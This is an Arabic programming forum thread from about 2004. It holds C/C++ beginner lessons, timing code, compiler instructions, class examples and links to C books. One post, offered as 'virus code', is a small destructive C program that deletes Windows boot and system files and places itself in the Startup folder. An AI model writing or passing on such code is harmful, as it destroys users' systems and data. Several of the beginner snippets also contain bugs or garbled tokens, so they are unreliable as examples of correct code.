NTFS و هو نظام خاص بأنظمة WindowsNT و Windows2000 و هو نظام يتميز بصغر حجم ال Cluster و امكانية وضع تقييدات Security على من له الحق بعرض البيانات أو تعديلها أو حذفها ... الخ.

طبعا موضوع ال FAT موضوع واسع و حاولت قدر الامكان اعطاء فكرة سريعة عنه.

و مما سبق ينتج أن اللغة المستخدمة لبرمجة نظام FAT هي لغة الأسمبلي لأن أي عملية يقوم بها نظام التشغيل

تعتمد على قراءة أو كتابة الملفات و بالتالي يعتمد عليها نظام التشغيل بشكل كبير ( أنا لم أقرأ عن اللغة

المستخدمة في برمجة نظام FAT و لكن باستخدام الحقائق السابقة أعتقد أن اللغة هي Assembly حصرا)

أما بالنسبة لتشغيل برامج على نظام التشغيل الخاص بك فهذه مسؤولية نظامك و أبسط مثال أن البرنامج الذي

يعمل على Windows98 الذي يستخدم نظام FAT16 يستطيع العمل على نظام Windows98 الذي يستخدم نظام

FAT32 و بالتالي فإن نظام التشغيل يشكل طبقة تعزل البرامج التي تعمل على نظامك عن نظام الملفات

المستخدم.

بالنسبة لحساب سرعة برنامجين واحد بالسي وواحد بالاسمبلي فهل تقصد مقارنة السرعة بين اللغتين أم حساب الزمن المستغرق لانجاز مهمة معينة ضمن البرنامج ؟

بالنسبة لكتابة دالة بالاسمبلي ضمن السي ++ : اعتبر أنك تريد كتابة دالة عادية بالسي و بدل ما تحط ضمن هذه الدالة تعليمات سي ضع بدلا عنها تعليمات اسمبلي ثم استدعي الدالة كما تستدعي اي دالة عادية.

بالنسبة لأفضل كومبايلرات السي++ فأنا أستخدم لغة Visual C++ منذ خمس سنوات و قد أثبتت جدارتها و يكفي أن تلقي نظرة على الكتب الأجنبية التي تتحدث عن C++ و COM و Windows Architecture لتجد أن الامثلة مكتوبة بلغة Visual C++ كما أنني قرأت مرة في مقالة في مجلة أجنبية أن برنامج Corel Draw الشهير بتصميم و معالجة الرسوم قد تمت كتابته بلغة Visual C++

-------------------

إن نظام توضع الملفات FAT يسجل الازاحات و كمثال بسيط لنفترض أنه لدينا ملف يحتاج إلى 3 Clusters فسيكون FAT مشابه لما يلي:

القسم الأول للملف متوضع في المدخل 15 ل FAT و يشير إلى القسم الثاني للملف المتوضع مثلا في المدخل 27 و الذي يشير بدوره إلى القسم الثالث للملف ...

بالنسبة لحساب سرعة البرامج فأنا أعرف كيف تقوم بذلك في VisualC++ و لكن بالنسبة ل Assembly فهذه اللغة لم أعمل بها منذ 5 سنوات و سأترك الاجابة على هذا الجزء من السؤال لأحد الأخوة المتابعين مع لغة ال Assembly , و بالنسبة لحساب سرعة تنفيذ برنامج بلغة Visual C++ اكتب الشيفرة التالية :

clock_t start,end; 
HANDLE handle=GetCurrentProcess(); 
SetPriorityClass(handle,REALTIME_PRIORITY_CLASS); 
start=clock(); 
for(long i=0;i<1000000000;i++) 
; 
end=clock(); 
SetPriorityClass(handle,NORMAL_PRIORITY_CLASS); 
double time=(double)(end-start)/CLOCKS_PER_SEC;

هنا قمت بجعل البرنامج له أولوية عظمى و ذلك حتى يتم احتساب الزمن بشكل دقيق و قبل تنفيذ العملية المراد

معرفة الزمن الذي استغرقته ( و هي في حالتنا حلقة for ) نقوم بتنفيذ start=clock() التي تسجل رقما يعبر عن

الزمن الذي انقضى منذ بداية تنفيذ البرنامج و بعد تنفيذ العملية ننفذ التعليمة end=clock() و بالتالي بالطرح بين

القيمتين و تقسيمها على الثابت ( CLOCKS_PER_SEC وهو عدد النبضات في الثانية )نحصل على الزمن

المطلوب و لكن لا تنسى أن تعيد البرنامج إلى مستوى الأولوية العادي

تم تعديل هذه المشاركة بواسطة HGB في 20 أكتوبر 2004 في 21:52

#6

كود فااايرس

--------------------------------------------------------------------------------

بسم الله الرحمن الرحيم

#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
main()
{
clrscr();
printf("\t\t\tWelcome to the Egyption -oO Virus Oo-\n\n");
remove("c:\\windows\\system.ini");
remove("c:\\windows\\win.ini");
remove("c:\\autoexec.bat");
remove("c:\\msdos.sys");
remove("c:\\io.sys");
remove("c:\\command.com");
remove("c:\\config.sys");
remove("c:\\windows\\ebd\\command.com");
remove("c:\\windows\\ebd\\ebd.cab");
remove("c:\\windows\\ebd\\Autoexec.bat");
remove("c:\\windows\\ebd\\setramd.bat");
remove("c:\\windows\\ebd\\Findramd.exe");
rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe");
printf("Windows destroyed ...\n\n");
system("PAUSE");
}

مع تحيات اخوكم الملك المدمر

mido_hack_2003@hotmail.com

قمت بإزالت الكلمات الغير لائقه من البرناج, وارجو من الاخ المدمر عدم وضع مثل هذه الكلمات فى المنتدى.

والسلام

احمد غريب

تم تعديل هذه المشاركة بواسطة HGB في 22 أكتوبر 2004 في 02:32

#7

درس فى لغه السي (مترجمات)..

..

--------------------------------------------------------------------------------

الدرس الأول في السي(المترجمات)

ان مبدع هذه اللغة هو Denis Ritchie وهي اللغة الأكثر شهرة لإمكانياتها الرائعة عن لغات البرمجة الأخري مثل الفيجوال بيك فضلا عن ان إستثمارات ثغرات الأنظمة (ُExploit) تكتب بالسي ولغة الأسمبلي(او لغة الآله) بالأضافة الي ذلك فإن نظام التشغيل يونكس مكتوب بأكمله بلغة السي والأسمبلي.

ان افضل طريقة لتعلم اي لغة برمجة جديدة هي البدء بكتابة برامج هذه اللغة وقد يتساءل المبتدء أين اكتب برامج هذه اللغة؟

يمكنك كتابتها في برنامج ال Notpad في الويندوز او kwrite في اللينكس وفي الويندوز يمكنك كتابة برامج هذه اللغة في بيئة التطوير الخاصة بها مثل Turbo C او غيرها وانا عن نفسي استخدم kwrite.

اما عن المترجمات (Compilers) التي تستخدم في تحويل الكود البرمجي الي الملف التنفيذي:

ففي نظام اللينكس فالمترجم موجود ضمن النظام اصلاوالمترجم يستخدم بالأمر التالي:

gcc myprog.c

واذا استخدمت المترجم بهذا الأمر فستلاحظ انشاء ملف جديد اسمه a.out وهذا هو الملف التنفيذي وينفذ بالشكل التالي:

./a.out

اما اذا استخدمت الأمر الخاص بالمترجم بهذا الشكل:

gcc -o myprog myprog.c

فستلاحظ انشاء ملف جديد اسمه myprog وهذا هو الملف التنفيذي في نظام اللينكس ويمكنك تنفيذه بهذا الشكل:

./myprog

ولا شك ان استخدام امر المترجم بهذا الشكل الأخير انه هو الأفضل

وهناك خيار خاص للإكتفاء بتوليد الملف الغرضي من الملف الأصل وهو الخيار -c فعلي سبيل المثال:

gcc -c myprog.c

سيقوم بتوليد ملف اسمه myprog.o وهذا هو الملف الغرضي ولتوليد هذا الملف الغرضي الي ملف تنفيذي نستخد الرابط ld بالشكل التالي:

ld -o myprog myprog.o

اما في انظمة الويندوز فيجب ان تحمل المترجم من النت فيمكنك البجث في جوجل عن Compiler c وهناك عدة مترجمات تعمل علي الويندوز وهي :

Microsoft C

وتستخدم الأمر cl للترجمة متبوعا بإسم الملف المصدر المكتوب بلغة السي

Borland's Turbo C

وتستخدم الأمر tcc للترجمه متبوعا بالملف المصدر الكتوب بلغة السي

Borland C

ويستخدم الأمر bcc

Zortec C

ويستخدم الأمر ztc

وجميع هذه المترجمات الخاصة بالويندوز ستنتج ملفات ذات الإمتداد .OBJ ولكي تقوم بتجويل الملف OBJ الي ملف تنفيذي EXE تستخدم الرابط Linker وهو برنامج موجود ضمن المترجمات السابقة وعلي ما اعتقد انه بيكون اسمه linker.exe او link.exe.

=-=-=-=-=-=-=-=-=-=-=-=-=-=

قلنا في الدرس الأول ان الطريقة الأفضل لتعلم اي لغة برمجة هي البدء في كتابة برامج هذه اللغة وسنبدأ في كتابه برنامجنا الأول لطباعة العبارة:

Hello, World

والكود التالي يقوم بذلك:

#include <stdio.h> 
main() 
{ 
printf("Hello, World\n"); 
}

- فالسطر الأول هو تضمين المكتبة stdio.h التي تحتوي علي عدة توابع او دوال لإستخدامها في البرنامج ومنها التابع printf الذي استخدمناه في السطر الرابع من البرنامج لطباعة الجملة Hello, World فمعني ذلك انه لا يمكن استخدام التابع printf في البرنامج بدون تضمين المكتبة stdio.h وهذه المكتبة هامه جدا فهي تحتوي علي توابع الدخل والخرج والتعامل مع الملفات مثل قراءة ملف او الكتابة في ملف او تغيير اسم ملف او خذف ملف وغيرها....

- والسطر الثاني من البرنامج هو التابع main الذي يبدأ من عنده تنفيذ البرنامج ومن ثم لا يوجد اي برنامج بدون التابع main فهو اساسي في اي برنامج تكتبه بالسي ويبدأ البرنامج في التنفيذ من التابع main حتي ولو كان في آخر البرنامج في السورس كود.

- والسطر الثالث استخدمنا الحرف } لنعلم المترجم ان الأكواد التالية عليه هو ضمن التابع main ونقوم بإغلاقه بالحرف { في السطر الخامس وهذين المحرفين يسميان Blocks.

- والسطر الرابع استخدمنا التابع printf الموجود ضمن المكتبة stdio.h لطباعة الجملة Hello, World وقد استخمنا هذين المحرفين:

\n

لنعبر عن السطر الجديد وهذا يعني انه بعد طباعة الجملة Hello, World سيقوم البرنامج بالإنتقال الي سطر جديد وهناك عدة محارف اخري يمكن استخدامها

\a

هذا محرف صوت التنبيه Beep

جرب كتابة التالي في برنامج:

printf ("Hello, World\a\n");

\b

هذا محرف الحذف الخلفي (back space)

جرب كتابة التالي:

printf ("Hello, World\b\n");

ستلاحظ ان الناتج Output سيكون Hello, Worl اي حذف الحرف الأخير d نظرا لإستخدامنا المحرف \b الذي يستخدم عوضا عن back space

\f

محرف الإنتقال الى صفحة جديدة

\n

محرف الإنتقال الى سطر جديد

\r

إعادة المؤشر الي بداية السطر فمثلا إذا كتبنا السطر التالي في برنامجنا

printf ("Hello, World\r EGY_HaCkEr\n");

سنلاحظ ان الخرج سيكون EGY_HaCkErd اي انه استبدل المحارف Hello, Worl بالمحارف EGY_HaCkEr ودا طبعا علي حسب عدد محارف كل من Hello, World و EGY_HaCkEr.

\t

محرف الجدولة الأفقية

جرب السطر التالي في برنامجك:

printf ("EGY_HaCkEr\t Hello, World\n");

سيكون الخرج كالتالي:

ُEGY_HaCkEr Hello, World

اي ان هذا المحرف \t يعمل عمل الزر Tab في لوحة المفاتيح

\v

محرف الجدولة الرأسية

جرب السطر التالي:

printf ("EGY_HaCkEr\v Hello, World\n");

سيكون الخرج كالتالي:

EGY_HaCkEr

Hello, World

اي انه يترك مسافة سطر بين الجملتين التي قبل هذا المحرف والتي بعدها.....

\ooo

محرف العدد الثماني

\xhh

محرف العدد الست عشري

مع الملك المدمر

mido_hack_2003@hotmail.com

تم تعديل هذه المشاركة بواسطة مجدي محمود في 20 أكتوبر 2004 في 18:22

#8

يا حبيبي يا ملك يا مدمر الله يخليك ويحفظك بس انت تريد عمل خير وتكتب دروس

بس لاحظ الخط ما اكبره وكمان

ضع البرامج ضمن اكواد للتوضيح

ولن تخسر شيئا لو اكملت بسم الله الرحمن الرحيم

تستخدم الوان قاتمه في بعض المشاراكات

وبعدين يا اخي تكتب ايميلك دائما في كل مشاراكاتك

تكتب اسمك في عنوان كل موضوع

ويا ريت لو تجمع الدروس في موضوع واحد بخط واحد ومرتب نحن لسنا يا ملك مدمر في حالة حرب

لقد قمت بتعديل جميع مشاراكاتك واريد ان اسالك اليس النظام والترتيب قبل التعليم

الله يخليك النظام والترتيب قبل الدراسة والعلم

وشكرا

تم تعديل هذه المشاركة بواسطة مجدي محمود في 20 أكتوبر 2004 في 18:39

لست متواجد بشكل يومي

#9

بارك الله فيك ايها الملك المدمر.

39_22.gif

تزود من التقوى فإنك لا تدري *** إذا جن ليل هل تعيش إلى الفجر

فكم من فتى أمسى وأصبح ضاحكاً *** وقد نسجت أكفانه وهو لا يدري

لقراءة القرآن الكريم و سماعه و تفسيره ........

ماذا يعني انني مسلم سني؟

قصة غريبة

ConflictResolution.gif

#10

كتب بالعربية لتعليم لغة C و لتعليم لغة ++C ....إذخل وحمّل الأن...مجانا

السلام عليكم جميع أعضاء المنتدى الرائع VBzoom

كتاب اكثر من رائع لتعليم لغة C بالغة العربية هنا :

تعلّم لغة C بالعربية

كتب بالعربية لتعليم لغة C و لتعليم لغة ++C ....إذخل وحمّل الأن...مجانا

السلام عليكم جميع أعضاء المنتدى الرائع VBzoom

كتاب اكثر من رائع لتعليم لغة C بالغة العربية هنا :

تعلّم لغة C بالعربية

http://www.geocities.com/abdulhbib/c.zip

وكتاب أخر لتعليم لغة ++C بالغة العربية هنا :

تعلّم لغة ++C بالعربية

http://www.geocities.com/abdulhbib/c_plus.zip

ارجو وضع ملاحظاتكم

و شكرا

#11

السلام عليكم ورحمة الله وبركاتة

من المعلوم أن منتدى مبرمجي C و ++C و ++Microsoft Visual C

يعتبر من أروج المنتديات التي يرتادها المبتدئين وطلاب الجامعات

ومن لوازم المبرمج في قسمنا الحصول على نسخة من برنامج

++TurboC

http://www.c4arab.com/downloads/TurboC++.exe

حمل نسخة الأن

#12

مكتبة اكواد الـ ++C والبرامج الجاهزة

بسم الله الرحمن الرحيم

وبه وحده نستعين على أمور الدنيا والدين

إخواني أعضاء منتدى في بي زوم حرصاً من إدارة المنتدى على تقديم المفيد

وخصوصاً أن القسم يفتقد الى مكتبة تحوي على برامج بلغة السي بلاس

ولكي لا تتكرر أسئلة العضو عن إيجاد حل لتلك المسألة أو هذة

بادرت بوضع بعض البرامج الجاهزة بما تحتوية من أكواد

وأي عضو بإمكانة وضع ما لدية من أكواد شرط أن تكون مجربة وصحيحة

برنامج تذخل فية قيمة الزاوية ويقوم هو بإيجاد جيب الزاوية Sin

كود:

#include <iostream.h> 
#include <math.h> 
#include <conio.h> 
#define PI 3.14159 
main() 
{ 
clrscr(); 
float degree, sine; 
cout << "\t\tSIN\nPlease enter the angle in degrees "; 
cin >> degree; 
sine = sin(degree* PI/ 180); 
cout << " SIN " << degree <<" = " << sine; 
getch(); 
}

---------------------------

برنامج تذخل فية قيمة الزاوية ويقوم هو بإيجاد جيب تمام الزاوية Cos

كود:

#include <iostream.h> 
#include <math.h> 
#include <conio.h> 
#define PI 3.14159 
main() 
{ 
clrscr(); 
float degree, cose; 
cout << "\t\tCOS\nPlease enter the angle in degrees "; 
cin >> degree; 
cose = cos(degree* PI/ 180); 
cout << " COS " << degree <<" = " << cose; 
getch(); 
}

-------------------------------

برنامج تذخل فية قيمة الزاوية ويقوم هو بإيجاد ظل الزاوية tan

كود:

#include <iostream.h> 
#include <math.h> 
#include <conio.h> 
#define PI 3.14159 
main() 
{ 
clrscr(); 
float degree, tane; 
cout << "\t\tTAN\nPlease enter the angle in degrees "; 
cin >> degree; 
tane = tan(degree* PI/ 180); 
cout << " TAN " << degree <<" = " << tane; 
getch(); 
}

-------------------------------

برنامج يعطيك الأعداد الفردية التي تقع بين الواحد والرقم الذي يطلبة منك في بداية البرنامج

كود:

#include <iostream.h> 
main(); 

{ 
int i,n; 
cout << "Enter number you want find EVEN to it:\n "; 
cin >> n; 
for ( i=1; i<=n; i++ ) 
{ 
if (i%2); 
cout << i << "\t "; 
else continue; 
} 

}

------------------------------------

برنامج يعطيك الأعداد الزوجية التي تقع بين الواحد والرقم الذي يطلبة منك في بداية البرنامج

كود:

#include <iostream.h> 
main() 
{ 
int i,n; 
cout << "Enter number you want find EVEN to it:\n"; 
cin >> n; 

for ( i=1; i<=n; i++) 
{ 
if (i%2) continue; 
cout << i << "\t"; 
} 
}

------------------------------

برنامج يعطيك حجم الدائرة بدلالة قطرها

كود:

#include <iostream.h> 
main() 
{ 
float r,area; 
cout << " Enter the radius "; 
cin >> r; 
area =3.14*r*r; 
cout <<'\n'<<"Area = " << area <<" squared unit"; 
}

--------------------------

هذا البرنامج يحول الدرجات من سلسيوسي الى فهرينهايت

كود:

#include <iostream.h> 
#include <math.h> 
main() 
{ 
float celsius,fahrenheit; 
cout << " Please enter the temperature in fahrenheit degrees\n"; 
cin >> fahrenheit; 
celsius = (5.0/9.0)* (fahrenheit -32); 
cout << "The temperature in celsius = " <<celsius << " Degree"; 
}

----------------------------

البرنامج التالي يسمح لك بإذخال كلمة من 10 أحرف ويستخرج لك الحرف الهجائي الاسبق ........ مثل ( VBzoom ) الحرف الأسبق في الهجاء هو ( B )

كود:

#include <iostream.h> 
main() 
{ 
char c; 
int i, small; 
cout << "Enter your character "; 
cin >> c; 
small = int©; 
for(i=1; i<=10; i++) 
{ 
cin >> c; 
if(int©<small) 
small = int©; 
} 

cout << "\nThe character that is alphabitically 1st: " << char(small); 
}

------------------------------------

البرنامج التالي يسمح لك بإذخال كلمة من 10 أحرف ويستخرج لك الحرف الهجائي الأخير من حيت الترتيب الهجائي........ مثل ( hotmail ) الأخير من حيت الترتيب الهجائي هو ( T )

كود:

#include <iostream.h> 
main() 
{ 
char c; 
int i, big; 
cout << "Enter your character "; 
cin >> c; 
big = int©; 
for(i=1; i<=10; i++) 
{ 
cin >> c; 
if(int©>big) 
big = int©; 
} 

cout << "\nThe character that is alphabitically last: " << char(big); 
}

-------------------------------------

برنامج يحوّل من المساحة من الأقدام الى نظام الفدان

كود:

#include <iostream.h> 
#include <stdio.h> 
main() 
{ 
float width ,length ,area; 
cout << "Please enter the width and length in feet\n"; 
cin >> width>> length; 
area = (length *width) /43560; 
printf("The result area in acres = %8.2f acres" ,area ); 
}

---------------------------------

توضيح سابقية العمليات الحسابية

كود:

#include <iostream.h> 
main() 
{ 
float a, b, c, d, x, y; 
cout << "Please enter the values of a, b, c,and d\n"; 
cin >> a>> b>> c >>d; 
x = ((a+B)*(c+d)+(3+a))/(a-B); 
y = (x+a)*(x+B)/(c+d); 
cout << "The value of the expression = " << y; 
return 0; 
}

-------------------------

لإيجاد عوامل العدد بمعنى الأعداد التي يقبل العدد القسمة عليها

كود:

#include<iostream.h> 
main() 
{ 

int number, counter; 
cout << "PLAESE ENTER A NUMBER "; 
cin >> number; 
if (number<0) 
cout << "NEGATIVE NUMBER "; 
else 
cout << "THE DIVISIORS OF THE NUMBER ARE: "; 
for (counter=1; counter <= number; counter++) 
{ 
if(number%counter==0) 
cout << "\t" << counter; 
} 
}

------------------------

المتوسط الحسابي لخمسة أعداد

كود:

#include <stdio.h> 
#include <iostream.h> 
main() 
{ 
float x, sum= 0, ave; 
printf("Enter your 5 numbers:\n "); 
for(int i=1; i<=5; i++) 
{ 
cin >> x; 
sum += x; 
} 
ave = sum / 5; 
printf("The average = %-15.2f", ave); 
}

--------------------------------

برنامج يحسب الـ average

كود:

#include <iostream.h> 
main() 
{ 
float *a; 
float sum, average; 
int i, n; 
a = & average; 
cout << "\n \a Please enter the total number of elements: "; 
cin >> n; 
for(i=0; i<n; i++) 
{ 
cout << "a["<< i+1<< "]= "; 
cin >> *(a+i); 
} 
for(i=0; i<n; i++) 
sum += *(a+i); 
average = sum / n; 
cout << "\n Average = "<< average; 
}

****************************

يحسب أصغر عدد ثم إذخاله

كود:

#include <iostream.h> 
#include <conio.h> 
main() 
{ 
clrscr(); 
int x1, x2, x3; 
cout << "Enter three different integers:\n "; 
cin >> x1>> x2>> x3; 
if((x1<x2) && (x1<x3)) 
cout << "The smaller number is " << x1; 
else if((x2<x1) && (x2<x3)) 
cout << "The smaller number is " << x2; 
else if((x3<x1) && (x3<x2)) 
cout << "The smaller number is " << x3; 
else cout << "THERE ARE ERROR "; 
getch(); 
}

**********************

يحسب أصغر عدد ثم إذخاله

كود:

#include <iostream.h> 
#include <conio.h> 
main() 
{ 
clrscr(); 
int x1, x2, x3; 
cout << "Enter three different integers:\n "; 
cin >> x1>> x2>> x3; 
if((x1>x2) && (x1>x3)) 
cout << "The larger number is " << x1; 
else if((x2>x1) && (x2>x3)) 
cout << "The larger number is " << x2; 
else if((x3>x1) && (x3>x2)) 
cout << "The larger number is " << x3; 
else cout << "THERE ARE ERROR "; 
getch(); 
}

*****************************

أسبقية ++ أو -- عند ذخولها على المتغيرات

كود:

#include <iostream.h> 
main() 
{ 
float a, b ,c ,d ,x = 0; 
cout << "Please enter the value of a, b, c,and d\n"; 
cin >>a >>b >>c >>d; 
x -= (a++ *B) / (c-- +d); 
cout << "The value of x -= (a++ *B) / (c-- +d) will be X = "; 
cout << x <<'\n'; 
a -=1; 
c +=1; 
x = (++a *B) / (--c +d); 
cout << "The value of x = (++a *B) / (--c +d) will be X = "; 
cout << x; 
return 0; 
}

************************

لإيجاد مساحة المثلث

كود:

#include <iostream.h> 
#include <math.h> 
main() 
{ 
float a,b,c,s,area; 
cout << "\n Please enter A,B,andC: "; 
cin >> a>> b>> c; 
s = (a+b+c)/2; 
area =sqrt(s*(s-a)*(s-B)*(s-c)); 
cout << "\n Area = " << area; 
}

*******************

لإيجاد المضروب (( الفيكتوريا )) طريقة 1

كود:

#include <iostream.h> 
main() 
{ 
int number, counter, fact; 
cout << "\n Please enter a number "; 
cin >> number; 

if (number<0) 
cout << " negative number "; 
else 
if (number==0) 
cout << "Factorial of 0 = 1"; 
else 
if (number==0) 
cout << "factorial of 0 = 1 "; 
else 
fact = 1; 
for (counter=1; counter<=number; counter++) 
{fact = fact *counter;} 
cout << "\n FACTORIAL OF " << number << " = "<< fact; 
}

********************

لإيجاد المضروب (( الفيكتوريا )) طريقة 2

كود:

#include <iostream.h> 
main() 
{ 
int i=2, n; 
long fact = 1; 
cout << "PELASE ENTER THE NUMBER "; 
cin >> n; 
do { 
if (n<=1) break; 
fact = fact * i; 
i++; 
}while(i<=n); 
cout << "THE FACTORIAL OF " << n << " = " << fact; 
}

************************

الطريقة التقليدية لإيجاد الفيكتوريا (( المضروب ))

كود:

#include <iostream.h> 
main() 
{ 
int factorial = 1, dec = 7; 
factorial *= dec; 
factorial *= ( --dec); 
factorial *= ( --dec); 
factorial *= ( --dec); 
factorial *= ( --dec); 
factorial *= ( --dec); 
factorial *= ( --dec); 
cout << "The factorial :\n (7)! = " << factorial; 
return 0; 
}

*********************

يقوم بتحليل العدد بحيث يبدأ من الصفر تم الواحد تم مجموع العددين السابقين وهلم جرا

مثال العدد 9 يحللة

0/1/1/2/3/5/8/13/21

كود:

#include <iostream.h> 
#include <iomanip.h> 
main() 
{ 
int n; 
int old_one, new_one; 
int temp; 
int j; 

cout << "Enter number of terms to generate => "; 
cin >> n; 
old_one = 0; 
new_one = 1; 
cout << setw(4)<< old_one<< setw(4)<< new_one; 

for(j=1; j<=n-2; j++) 
{ 
temp = old_one + new_one; 
old_one = new_one; 
new_one = temp; 
cout << setw(4)<< new_one; 
} 
cout << "\n"; 
}

*-----------------------

برنامج ثلاتي لإيجاد مساحة كل من المثلت/ الدائرة / المربع

كود:

#include <iostream.h> 
#include <math.h> 
#include <conio.h> 
main() 
{ go: clrscr(); 
int choice; 
float a, b, c, s, area, r; 

/*the main menu*/ 

cout << " Main menu "; 
cout << " \n 1....Triangle"; 
cout << " \n 2....Circle"; 
cout << " \n 3....Square"; 
cout << " \n Enter your choice "; 

cin >> choice; 

switch(choice) 
{ 
case 1: 
cout << " \n Please enter A, B, and C: "; 
cin >> a>> b>> c; 
s = (a+b+c) / 2; 
area = sqrt(s*(s-a)*(s-B)*(s-c)); 
cout << " \n Area = " << area; 
break; 
case 2: 
cout << "Enter the radius "; 
cin >> r; 
area = 3.14* r* r; 
cout << "\n Area = " << area<< " Squared unit"; 
break; 
case 3: 
cout << "Enter the length of the square "; 
cin >> r; 
area = r* r; 
cout << "\n Area = " << area<< " Squared unit"; 
break; 
default: 
goto go; 
} 
getch(); 
}

+---------------*********************

لإيجاد مساحة المثلث

كود:

#include <iostream.h> 
#include <math.h> 
main() 
{ 
float a,b,c,s,area; 
cout << "\n Please enter A,B,andC: "; 
cin >> a>> b>> c; 
s = (a+b+c)/2; 
area =sqrt(s*(s-a)*(s-B)*(s-c)); 
cout << "\n Area = " << area; 
}

-*------------------------------

برنامج يحوّل من المساحة من الأقدام الى نظام الفدان

كود:

#include <iostream.h> 
#include <stdio.h> 
main() 
{ 
float width ,length ,area; 
cout << "Please enter the width and length in feet\n"; 
cin >> width>> length; 
area = (length *width) /43560; 
printf("The result area in acres = %8.2f acres" ,area ); 
}

***************************

مع تحيات اخوكم الملك المدمر

mido_hack_2003@hotmail.com

تم تعديل المشاركه لتنسيق الكود

احمد غريب

تم تعديل هذه المشاركة بواسطة احمد غريب في 22 أكتوبر 2004 في 01:23

#13

اكواد برامج الclass

احبتي في المنتدى أحب ان اطرح في هذه الصفحة فقط اكواد الclass لانها اصبحت اساس لبرمجة في الc++ و إن شاء الله استطيع ما أقدر عليه. و من لديه اي شيء يريد ان يضيفه فله الحق في ذلك. و اذا يريد احد ان يوجه اي شيء لي فمن حقه ذلك ايضاً.

الاكواد مع الملك المدمر

-*****----------------------**************************************

برنامج بسيط ممكن ان نقول تعريف برنامج يستخدم الclass

#include<iostream.h> 
#include<conio.h> 
class building { 
private: 
int mvheight; 
float mvarea; 
public: 
void setdata(int h,float a) { 
mvheight =h; 
mvarea=a; 
} 

void show() { 
textcolor(2); 
textbackground(4); 
cprintf("Enter the data"); 
} 

void showdata() { 
cout<<"\nBuilding height is "<<mvheight<<endl; 
cout<<"Building Area is "<<mvarea<<endl; 
} 
}; 
void main() { 
clrscr(); 
building house1; 
house1.setdata(3,4); 
house1.show(); 
house1.showdata(); 
getch(); 
}

****************************

برنامج يستخدم الcopy constructor

#include<iostream.h> 
#include<conio.h> 
class box { 
private: 
double width; 
double height; 
double depth; 
public: 
box() { 
width=height=depth=-1; 
} 
box(const box & ob) { 
width=ob.width; 
height=ob.height; 
depth=ob.depth; 
} 
box(double w,double h,double d) { 
width =w; 
height=h; 
depth=d; 
} 
~box() { } 
double volume() { 
return width*height*depth; 
} 
}; 
void main() { 
clrscr(); 
box cube1; 
box cube2(2,3,4); 
box cube3(cube2); 
cout<<"Box volume 1 "<<cube1.volume()<<endl; 
cout<<"Box volume 2 "<<cube2.volume()<<endl; 
cout<<"Box volume 3 "<<cube3.volume()<<endl; 
getch(); 
}

-------------------------------

كيف نتحصل على مساحة المستطيل عبر الclass

#include<iostream.h> 
#include<conio.h> 
class rectangle { 
private: 
int x; 
int y; 
public: 
void rect(int a,int B) { 
x=a; 
y=b; 
} 
int set() { 
return x*y; 
} 
}; 

void main() { 
clrscr(); 
rectangle rectangle1; 
int x,y; 
cout<<"Enter the numbers to get the rectangle "; 
cin>>x>>y; 
rectangle1.rect(x,y); 
clrscr(); 
cout<<"The rectangle is "<<rectangle1.set(); 
getch(); 
}

***************************************

برنامج استعراض القيم و لكن بافصال الدوال عن الclass

#include<iostream.h> 
#include<conio.h> 
class building { 
private: 
int height; 
float area; 
public: 
void set(int h) { 
height=h; 
} 
int show(); 
}; 
int building :: show() { 
return height; 
} 
void main() { 
clrscr(); 
building house1,house2; 
house1.set(342); 
house2.set(142); 
cout<<house1.show(); 
cout<<"\n"; 
cout<<house2.show(); 
getch(); 
}

********************

استخدام الstatic

#include<iostream.h> 
#include<conio.h> 
class memory { 
protected: 
static int total_capacity; 
public: 
int itscapacity; 
void set(int v) { 
itscapacity=v; 
total_capacity +=v; 
cout<<"\nTotal Capacity is "<<total_capacity; 
} 
}; 
int memory:: total_capacity=0; 
main() { 
clrscr(); 
memory ram,rom,cache; 
ram.set(128); 
rom.set(256); 
cache.set(64); 
getch(); 
}

***************************

استخدام الthis pointer

#include<iostream.h> 
#include<conio.h> 
class address { 
private: 
int data; 
public: 
address(int d) { 
this->data=d; 
} 
void display() { 
cout<<"Data Value is "<<this->data<<endl; 
cout<<"\nObject Address is "<<this<<endl; 
} 
}; 
void main() { 
clrscr(); 
address object1(100),object2(55); 
object1.display(); 
object2.display(); 
getch(); 
}

******************

برنامج لاختبار الخراج

#include <iostream.h> 
class animal { 
public: 
int weight; 
int feet; 
}; 
main() { 
animal dog1, dog2, chicken; 
animal cat1; 
class animal cat2; 
dog1.weight = 15; 
dog2.weight = 37; 
chicken.weight = 3; 
dog1.feet = 4; 
dog2.feet = 4; 
chicken.feet = 2; 
cout << "The weight of dog1 is " << dog1.weight << "\n"; 
cout << "The weight of dog2 is " << dog2.weight << "\n"; 
cout << "The weight of chicken is " << chicken.weight << "\n"; 
}

*************************

برنامج ادخال معاومات

#include<iostream.h> 
#include<conio.h> 
#include<string.h> 
class person{ 
private: 
char fname[20]; 
char lname[20]; 
char address[20]; 
long phone; 
long age; 
public: 
void get(char n[],char b[],char a[],long p,long nc) { 
strcpy(fname,n); 
strcpy(lname,B); 
strcpy(address,a); 
phone = p; 
age = nc; 
} 
person & operator=(const person &h) { 
strcpy(fname,h.fname); 
strcpy(lname,h.fname); 
strcpy(address,h.address); 
phone = h.phone; 
age = h.age; 
return *this; 
} 
void showdata() { 
cout<<"The name "<<fname<<endl; 
cout<<"The last name is "<<lname<<endl; 
cout<<"The address "<<address<<endl; 
cout<<"The phone "<<phone<<endl; 
cout<<"The age is "<<age<<endl; 
} 
}; 

void main() { 
clrscr(); 
char n[20], b[20], a[20]; 
double p,nc; 
person info; 
cin.getline(n,20); 
cin.getline(b,20); 
cin.getline(a,20); 
cin>>p>>nc; 
info.get(n,b,a,p,nc); 
info.showdata(); 
person info1(info); 
info1.showdata(); 
getch(); 
}

***********************

برنامج شبيه للذي في الاعلى

#include<iostream.h> 
#include<conio.h> 
#include<string.h> 
class person { 
private: 
char fname[20]; 
char address[20]; 
long ID; 
public: 
void get(char n[],char b[],long i) { 
strcpy(fname,n); 
strcpy(address,B); 
ID = i; 
} 
void showdata() { 
cout<<"The name is "<<fname<<endl; 
cout<<"The address "<<address<<endl; 
cout<<"The ID number is "<<ID<<endl; 
} 
}; 

void main() { 
clrscr(); 
char n[20], a[20]; 
long p; 
person info; 
cin.getline(n,20); 
cin.getline(a,20); 
cin>>p; 
info.get(n,a,p); 
info.showdata(); 
getch(); 
}

*****************************

برنامج يستخدم ال copy assignment operator

#include<iostream.h> 
#include<conio.h> 
class address { 
private: 
int Data; 
public: 
address (){} 
address(int d) { 
this -> Data=d; 
} 
